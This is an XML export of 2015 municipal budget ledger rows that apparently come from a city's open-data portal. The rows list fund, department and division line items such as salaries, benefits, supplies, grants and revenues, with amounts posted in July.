<row _id="15244"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>356.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>356.0</total></row>
<row _id="15245"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1782.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1782.0</total></row>
<row _id="15246"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>7638.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7638.0</total></row>
<row _id="15247"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3306.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3306.0</total></row>
<row _id="15248"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>34736.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>34736.0</total></row>
<row _id="15249"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3540.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3540.0</total></row>
<row _id="15250"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1669.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1669.0</total></row>
<row _id="15251"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>YEAR-END CASH OUTS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15252"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>407610.0</object><object_description>I-NET REVENUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-35700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-35700.0</total></row>
<row _id="15253"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>7584.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7584.0</total></row>
<row _id="15254"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4880.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4880.0</total></row>
<row _id="15255"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>19400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19400.0</total></row>
<row _id="15256"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1248.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1248.0</total></row>
<row _id="15257"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>8020.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8020.0</total></row>
<row _id="15258"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>11427.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11427.0</total></row>
<row _id="15259"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>650.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>650.0</total></row>
<row _id="15260"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>55</fund_id><fund_name>Info Tech Rplcmnt &amp; Svcs Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2015</fiscal_year><july>-35000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-35000.0</total></row>
<row _id="15261"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>55</fund_id><fund_name>Info Tech Rplcmnt &amp; Svcs Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>402660.0</object><object_description>FUTURE REPLACEMENT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-1190327.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1190327.0</total></row>
<row _id="15262"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>11428.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11428.0</total></row>
<row _id="15263"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1018.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1018.0</total></row>
<row _id="15264"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1183.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1183.0</total></row>
<row _id="15265"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>852.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>852.0</total></row>
<row _id="15266"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522500.0</object><object_description>BOARDS AND COMMISSIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5436.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5436.0</total></row>
<row _id="15267"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402163.0</object><object_description>PARKING RECEIPTS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-57692.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-57692.0</total></row>
<row _id="15268"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>12390.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12390.0</total></row>
<row _id="15269"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4310.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4310.0</total></row>
<row _id="15270"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>51716.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>51716.0</total></row>
<row _id="15271"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>10373.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10373.0</total></row>
<row _id="15272"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15273"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>788099.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>788099.0</total></row>
<row _id="15274"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>156434.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>156434.0</total></row>
<row _id="15275"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>943.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>943.0</total></row>
<row _id="15276"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="15277"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577040.0</object><object_description>AUDIT FEES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
<row _id="15278"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>407509.0</object><object_description>CAPITAL GR-MOSIP</object_description><category_code>657.0</category_code><category_code_description>Capital Grants</category_code_description><fiscal_year>2015</fiscal_year><july>-2180000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2180000.0</total></row>
<row _id="15279"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1011678.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1011678.0</total></row>
<row _id="15280"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>200875.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>200875.0</total></row>
<row _id="15281"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>720.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>720.0</total></row>
<row _id="15282"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20856.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20856.0</total></row>
<row _id="15283"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>57241.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>57241.0</total></row>
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<row _id="15285"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>4969.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4969.0</total></row>
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<row _id="15289"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2800.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2800.0</total></row>
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<row _id="15311"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8030.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8030.0</total></row>
<row _id="15312"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>80000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>80000.0</total></row>
<row _id="15313"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5400.0</total></row>
<row _id="15314"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407060.0</object><object_description>KEC TENANT RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2015</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="15315"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>401900.0</object><object_description>FALSE ALARM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1000.0</total></row>
<row _id="15316"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577704.0</object><object_description>PROP A REIMB-BUS STOP/SHELTER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-60000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-60000.0</total></row>
